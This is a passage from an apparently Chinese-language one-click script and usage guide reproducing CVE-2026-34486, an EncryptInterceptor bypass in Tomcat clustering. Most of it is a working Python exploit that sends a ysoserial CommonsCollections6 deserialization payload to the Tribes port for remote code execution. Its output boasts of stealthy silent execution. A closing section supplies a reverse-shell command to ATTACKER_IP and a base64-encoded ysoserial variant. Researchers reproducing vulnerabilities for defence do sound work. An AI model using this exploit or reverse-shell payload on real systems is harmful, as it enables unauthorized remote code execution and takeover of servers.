if [ ! -s "$WORKDIR/payload_touch.bin" ]; then
    fail "Payload 生成失败"
fi
ok "Payload 生成成功 ($(wc -c < "$WORKDIR/payload_touch.bin") bytes)"

# 编写 Python PoC
cat > "$WORKDIR/exploit.py" << 'PYEXPLOIT'
#!/usr/bin/env python3
"""CVE-2026-34486 PoC - EncryptInterceptor Bypass"""
import socket, struct, sys, os, time

START_DATA = b"FLT2002"
END_DATA   = b"TLF003"
TRIBES_MBR_BEGIN = b"TRIBES-B\x01\x00"
TRIBES_MBR_END   = b"TRIBES-E\x01\x00"

def build_member_data(host_bytes, port):
    inner = b""
    inner += struct.pack(">q", 0)
    inner += struct.pack(">i", port)
    inner += struct.pack(">i", 0)
    inner += struct.pack(">i", 0)
    inner += struct.pack(">b", len(host_bytes))
    inner += host_bytes
    inner += struct.pack(">i", 0)
    inner += struct.pack(">i", 0)
    inner += os.urandom(16)
    inner += struct.pack(">i", 0)
    return TRIBES_MBR_BEGIN + struct.pack(">i", len(inner)) + inner + TRIBES_MBR_END

def build_channel_data(message_body, host_bytes, port):
    unique_id = os.urandom(16)
    member_data = build_member_data(host_bytes, port)
    cd = b""
    cd += struct.pack(">i", 0)
    cd += struct.pack(">q", int(time.time() * 1000))
    cd += struct.pack(">i", len(unique_id))
    cd += unique_id
    cd += struct.pack(">i", len(member_data))
    cd += member_data
    cd += struct.pack(">i", len(message_body))
    cd += message_body
    return cd

def send_exploit(target_ip, target_port, payload_file, receiver_port):
    with open(payload_file, 'rb') as f:
        raw_payload = f.read()
    host_bytes = socket.inet_aton(target_ip)
    channel_data = build_channel_data(raw_payload, host_bytes, receiver_port)
    packet = START_DATA + struct.pack(">i", len(channel_data)) + channel_data + END_DATA
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(10)
    sock.connect((target_ip, target_port))
    sock.sendall(packet)
    try:
        sock.recv(4096)
    except socket.timeout:
        pass
    sock.close()

if __name__ == '__main__':
    send_exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3], int(sys.argv[4]))
PYEXPLOIT

chmod +x "$WORKDIR/exploit.py"

# 发送攻击
info "发送攻击 Payload 到 ${LOCAL_IP}:${NODE1_TRIBES_PORT}..."
python3 "$WORKDIR/exploit.py" "$LOCAL_IP" "$NODE1_TRIBES_PORT" "$WORKDIR/payload_touch.bin" "$NODE1_TRIBES_PORT"

info "等待攻击生效 (5秒)..."
sleep 5

# ==================== 8. 验证结果 ====================
info "步骤 8/8: 验证漏洞触发..."

echo ""
echo "======================================================================"
echo -e "${RED}           CVE-2026-34486 复现结果${NC}"
echo "======================================================================"
echo ""

# 检查 RCE 标志文件
if [ -f "$RCE_MARKER" ]; then
    echo -e "  ${GREEN}✅ RCE 成功!${NC} 标志文件已创建:"
    echo ""
    ls -la "$RCE_MARKER"
    echo ""
else
    echo -e "  ${RED}❌ RCE 未触发${NC},标志文件 ${RCE_MARKER} 不存在"
    echo ""
fi

# 检查受害者日志
echo "  受害者日志 (解密失败记录):"
echo "  ----------------------------------------------------------------------"
grep -A3 "Failed to decrypt" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null | head -8 || echo "  (未找到解密失败日志)"
echo ""
echo "  受害者日志 (EncryptInterceptor 启动确认):"
echo "  ----------------------------------------------------------------------"
grep "EncryptInterceptor" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null | head -3 || echo "  (未找到 EncryptInterceptor 日志)"
echo ""
echo "  受害者日志 (集群成员发现):"
echo "  ----------------------------------------------------------------------"
grep "memberAdded" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null | head -2 || echo "  (未找到集群成员日志)"
echo ""

# 检查是否有反序列化异常(不应该有)
if grep -q "InvalidClassException\|ClassNotFoundException\|serialization" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null; then
    echo -e "  ${YELLOW}[!] 检测到反序列化异常日志(可能 gadget chain 不兼容)${NC}"
else
    echo -e "  ${GREEN}✅ 无反序列化异常日志 — payload 静默执行(攻击隐蔽性极高)${NC}"
fi

echo ""
echo "======================================================================"
echo ""
echo "  环境信息:"
echo "    - 工作目录:  ${WORKDIR}"
echo "    - Node1:     HTTP ${NODE1_HTTP_PORT}, Tribes TCP ${NODE1_TRIBES_PORT}"
echo "    - Node2:     HTTP ${NODE2_HTTP_PORT}, Tribes TCP ${NODE2_TRIBES_PORT}"
echo "    - Tomcat 版本: ${TOMCAT_VERSION} (漏洞版本)"
echo "    - RCE 标志:  ${RCE_MARKER}"
echo ""
echo "  清理命令:"
echo "    cd ${WORKDIR}/tomcat-node1 && bin/shutdown.sh"
echo "    cd ${WORKDIR}/tomcat-node2 && bin/shutdown.sh"
echo "    rm -f ${RCE_MARKER}"
echo "    rm -rf ${WORKDIR}"
echo ""
echo "======================================================================"

One-click Script Usage Instructions

Prerequisites:

  • Ubuntu 18.04+ / Debian 10+ system
  • root privileges
  • Access to the external network (to download Tomcat, ysoserial, Commons Collections)

Execution method:```bash

保存脚本

chmod +x cve-2026-34486-repro.sh

一键运行

sudo ./cve-2026-34486-repro.sh

root@kitploit:~
**Script Execution Flow**:

| Step | Content | Description |
|------|------|------|
| 1 | Detect and install dependencies | JDK 11, Python3, wget, etc. |
| 2 | Create working directory | `/opt/cve-2026-34486-lab` |
| 3 | Download Tomcat 9.0.116 | Vulnerable version, extract two copies |
| 4 | Install Gadget library | Commons Collections 3.1 → lib/ |
| 5 | Download ysoserial | Deserialization payload generation tool |
| 6 | Configure cluster | server.xml + EncryptInterceptor + web.xml |
| 7 | Start cluster and attack | Start → generate CC6 payload → send via Python PoC |
| 8 | Verify results | Check RCE flag file + victim logs |

**Expected Output**:```
[*] 步骤 8/8: 验证漏洞触发...

======================================================================
           CVE-2026-34486 复现结果
======================================================================

  ✅ RCE 成功! 标志文件已创建:

  -rw-r----- 1 root root 0 Apr 15 03:46 /tmp/CVE-2026-34486-PWNED

  受害者日志 (解密失败记录):
  ----------------------------------------------------------------------
  SEVERE [Tribes-Task-Receiver...] EncryptInterceptor.messageReceived
    Failed to decrypt message
  javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16...

  ✅ 无反序列化异常日志 — payload 静默执行(攻击隐蔽性极高)

======================================================================

Custom RCE Commands:

To modify the attack command, edit the RCE_MARKER variable and the ysoserial generation command in the script, for example:```bash

修改为反弹 shell (需先编码)

bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

Base64 编码后:

java -jar ysoserial.jar CommonsCollections6
"bash -c {echo,BASE64_ENCODED_COMMAND}|{base64,-d}|bash" \

payload_reverse.bin

root@kitploit:~
Download Tool